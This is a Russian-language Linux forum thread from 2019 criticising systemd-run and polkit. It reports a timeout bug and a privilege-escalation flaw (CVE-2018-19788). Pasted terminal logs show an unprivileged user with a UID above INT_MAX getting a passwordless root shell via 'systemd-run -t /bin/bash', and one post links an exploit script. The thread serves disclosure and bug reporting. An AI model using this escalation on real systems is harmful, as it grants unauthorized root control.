Автор Тема: "Systemd - капец" или systemd-run -t /bin/bash  (Прочитано 26229 раз)

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #30 : 21.02.2019 18:14:00 »
...
Нет, root и user1 (wheel), это две учётки одного пользователя, - root.
Другие wheel, это соадминистаторы. И доступа к учётке root они не имеют и не должны иметь.
И только root наделяет их правами.
А root,  который сообщил свой пароль другим wheel, - шляпа.
Я так думал, потому что пользователь не в группе wheel, не мог выполнить su -l. Надо бы при случае проверить, как под таким пользователем отработается команда systemd-run -t /bin/bash

Она предлагает пройти аутентификацию через пароль одного из администраторов (не root!) существующих в системе (группа wheel) и прерывается по таймауту если ввод отсутствует.

Самое забавное в поднятом в этой теме то, что в systemd-run реализован грубый ляп недопустимый для системного программиста. Реализовывать доступ к root-овому шелл через политики polkit нельзя (да ещё и по собственному паролю соадминистратора). Доступ к святая святых системы, - root-овому шелл Эта ошибка исключается на этапе создания алгоритма работы программы. И в крайнем случае, на этапе отладки и тестирования программы. Такая грубая ошибка в systemd-run, это огромная брешь в безопасности.
В системах с такой ошибкой, нельзя создавать соадминистраторов.
В этом случае, root-овый шелл будет доступен только root: или из своего пользовательского аккаунта через su, или из него же этой командой через polkit, или прямым логином.
Почему Леннарту Поттерингу это непонятно?
« Последнее редактирование: 21.02.2019 18:32:11 от Speccyfighter »

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #31 : 21.02.2019 19:56:52 »
Забавный баг:
# tail -n8 systemd-run_in_vcs3.txt
[tester@localhost ~]$ systemd-run -t /bin/bash
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Для управления системными службами и юнитами, необходимо пройти аутентификацию.
Authenticating as: System Administrator (root)
Password: Failed to start transient service unit: Connection timed out
[tester@localhost ~]$ polkit-agent-helper-1: pam_authenticate failed: Application needs to call libpam again
[tester@localhost ~]$ [tester@localhost ~]$ [tester@localhost ~]$ ^C
[tester@localhost ~]$ [tester@localhost ~]$ [tester@localhost ~]$ [tester@localhost ~]$

Воспроизведение:
Переместить в бэкап
/etc/polkit-1/rules.d/50-default.rules

Перейти в tty

Выполнить от администратора (wheel)
$ systemd-run -t /bin/bash

Пароль не вводить.
Вывалится с ошибкой по таймауту.
Последующие попытки нажать Enter, приведут к печати приглашения в строку.
Словилось на лайве стартеркита mate.
Вытащено через fold.

Пользователи systemd могут воспроизвести и отрепортить баг.

Метод сохранения в файл:
Определить количество колонок в tty
# stty -a | sed 's/;/\n/g' | grep columns

Выполнить сохранение в ascii файл вывода в ttyN
# fold -w $columns /dev/vcsN

где:
$columns - количество колонок в tty
N в vcsN - номер в виртуальной консоли

Кириллицу команда не сохраняет.

Удалить табуляцию и пробелы в конце строк
# sed -i 's/[ \t]*$//' file.txt
« Последнее редактирование: 22.02.2019 04:17:13 от Speccyfighter »

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #32 : 21.02.2019 20:47:14 »
Где упоминается unix-group
# grep -r unix-group /etc/ 2>/dev/null
/etc/polkit-1/rules.d/50-default.rules.bak:    return ["unix-group:wheel"];
/etc/polkit-1/localauthority/50-local.d/01-cpufreq.pkla:Identity=unix-group:wheel
# grep -r unix-group /usr 2>/dev/null
Двоичный файл /usr/lib/libpolkit-gobject-1.so.0.0.0 совпадает
/usr/share/doc/util-linux-2.30.2/poeigl.txt: ttys and do access checking based on unix-group membership. See

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #33 : 22.02.2019 01:10:43 »
Набираю в терминале от пользователя systemd-run -t /bin/bash ввожу пароль пользователя и попадаю в консоль root!!!

Ёлы-палы...
Хуже всего то, что в системе этого root-а не видно:
$ who
altlinux :0           2019-02-21 23:48 (:0)
altlinux pts/0        2019-02-21 23:48 (:0)
altlinux pts/1        2019-02-21 23:49 (:0)
altlinux pts/2        2019-02-21 23:49 (:0)
altlinux pts/3        2019-02-21 23:49 (:0)
altlinux tty4         2019-02-22 01:22 (localhost)

И только в журнале можно увидеть кто выполнял команду и от чьего имени:
$ journalctl | grep 'systemd-run -t /bin/bash' | tail -n2
фев 22 01:22:24 localhost.localdomain polkitd[662]: Operator of unix-process:3351:571428 successfully authenticated as unix-user:altlinux to gain TEMPORARY authorization for action org.freedesktop.systemd1.manage-units for system-bus-name::1.118 [systemd-run -t /bin/bash] (owned by unix-user:altlinux)
фев 22 01:22:35 localhost.localdomain polkitd[662]: Operator of unix-process:3372:572484 successfully authenticated as unix-user:tester to gain TEMPORARY authorization for action org.freedesktop.systemd1.manage-units for system-bus-name::1.121 [systemd-run -t /bin/bash] (owned by unix-user:altlinux)

да в процессах, если оно ещё висит:
$ ps -eo pid,user,command | grep systemd-run | grep -v grep
 3351 altlinux systemd-run -t /bin/bash
 3372 altlinux systemd-run -t /bin/bash

Используя эту дыру, можно втихаря лихо дров наломать.
Это как в том анекдоте:
- Ты видишь суслика?
- Нет.
- А он есть.
« Последнее редактирование: 22.02.2019 12:00:30 от Speccyfighter »

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #34 : 22.02.2019 02:50:08 »
Лихо...
(p8)
Непривилегированный пользователь может получить полный контроль на системой без запроса пароля:
# head -n 20 systemd-run_in_vcs2.txt

Hello friend, say `altlinux' to log in at tty2
localhost login: testsdrun
Password:
[testsdrun@localhost ~]$ whoami
testsdrun
[testsdrun@localhost ~]$ groups
testsdrun
[testsdrun@localhost ~]$ LC_ALL=C id
uid=2147483648(testsdrun) gid=503(testsdrun) groups=503(testsdrun)
[testsdrun@localhost ~]$
[testsdrun@localhost ~]$ systemd-run -t /bin/bash

(pkttyagent:4234): GLib-GObject-WARNING **: value "-2147483648" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
Running as unit: run-u136.service
Press ^] three times within 1s to disconnect TTY.
[root@localhost /]#
[root@localhost /]# whoami
root
[root@localhost /]#

На системах с sysvinit эта лазейка не работает, за отсутствием в них systemd.
« Последнее редактирование: 22.02.2019 03:34:56 от Speccyfighter »

Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #35 : 22.02.2019 11:51:27 »
...
Непривилегированный пользователь может получить полный контроль на системой без запроса пароля:
...
На системах с sysvinit эта лазейка не работает, за отсутствием в них systemd.

Леннарт, вот скажи мне, а с какого перепугу, наткнувшись на invalid or out of range for property 'uid' ты не прервал выполнение?
Т.е. код ты написал от балды, не тестировал его и разрешил беспарольное получение root?
Леннарт, ты же поганец сам это написал и знал, что property 'uid' может быть в out of range. И тем не менее разрешил продолжить выполнение.
« Последнее редактирование: 23.02.2019 07:36:49 от Speccyfighter »

Оффлайн Kalt

  • Завсегдатай
  • *
  • Сообщений: 996
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #36 : 22.02.2019 12:04:30 »
Цитировать
Майнер маскировался под процесс systemd
...Это отсюда:
https://xakep.ru/2018/05/14/snap-store-miner/
https://xakep.ru/2019/02/14/dirty-sock/
« Последнее редактирование: 22.02.2019 12:06:52 от Kalt »
Intel Xeon X3440 2,53GHz, MSI H55- G43, DDR3- 4x2GB, GF GT710


Оффлайн Speccyfighter

  • Мастер
  • ***
  • Сообщений: 10 259
Re: "Systemd - капец" или systemd-run -t /bin/bash
« Ответ #38 : 23.02.2019 07:53:27 »
Лихо...
(p8)
Непривилегированный пользователь может получить полный контроль на системой без запроса пароля:
# head -n 20 systemd-run_in_vcs2.txt

Hello friend, say `altlinux' to log in at tty2
localhost login: testsdrun
Password:
[testsdrun@localhost ~]$ whoami
testsdrun
[testsdrun@localhost ~]$ groups
testsdrun
[testsdrun@localhost ~]$ LC_ALL=C id
uid=2147483648(testsdrun) gid=503(testsdrun) groups=503(testsdrun)
[testsdrun@localhost ~]$
[testsdrun@localhost ~]$ systemd-run -t /bin/bash

(pkttyagent:4234): GLib-GObject-WARNING **: value "-2147483648" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
Running as unit: run-u136.service
Press ^] three times within 1s to disconnect TTY.
[root@localhost /]#
[root@localhost /]# whoami
root
[root@localhost /]#

На системах с sysvinit эта лазейка не работает, за отсутствием в них systemd.

Уязвимости подвержены все версии systemd начиная с версии 219:
17.02.2015 17:48  Выпуск systemd 219 с поддержкой расширенных возможностей Btrfs
Цитировать
В systemd-run добавлена опция "-t" ("--pty"), позволяющая запустить процесс как системный сервиc, но сохранить возможность интерактивного управления им через терминал. В том числе, можно запустить "systemd-run -t /bin/bash" без создания отдельного сеанса входа;

Уязвимость systemd: Отсутствие блокировки запуска при out of range.
При UID превышающем INT_MAX, непривилегированый пользователь получает беспарольный root и полный контроль над системой.
Эксплоит:
https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh
« Последнее редактирование: 23.02.2019 08:20:05 от Speccyfighter »